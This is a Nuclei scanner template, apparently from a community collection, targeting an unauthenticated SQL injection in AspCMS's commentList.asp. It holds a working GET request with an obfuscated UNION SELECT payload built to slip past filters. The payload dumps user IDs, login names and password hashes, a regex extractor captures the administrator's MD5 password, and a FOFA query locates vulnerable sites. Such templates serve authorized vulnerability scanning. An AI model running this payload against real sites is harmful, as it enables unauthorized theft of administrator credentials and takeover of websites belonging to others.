id: aspcms-commentlist-sqli

info:
  name: AspCMS commentList.asp - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="ASPCMS"
  tags: aspcms,sqli,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"

    extractors:
      - type: regex
        name: admin_password
        group: 1
        regex:
          - "<div class=\"line2\">(.*?)</div>"
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
        condition: and

# digest: 4b0a00483046022100e047c4e5bf72cbede2f5bf28f53b09ca9046716a63492ef267a9f84993f690de022100a5201dbe094c36a2967feac7a3d5b011729c516c1753622c319f502dcc9215d8:922c64590222798bb761d5b6d8e72950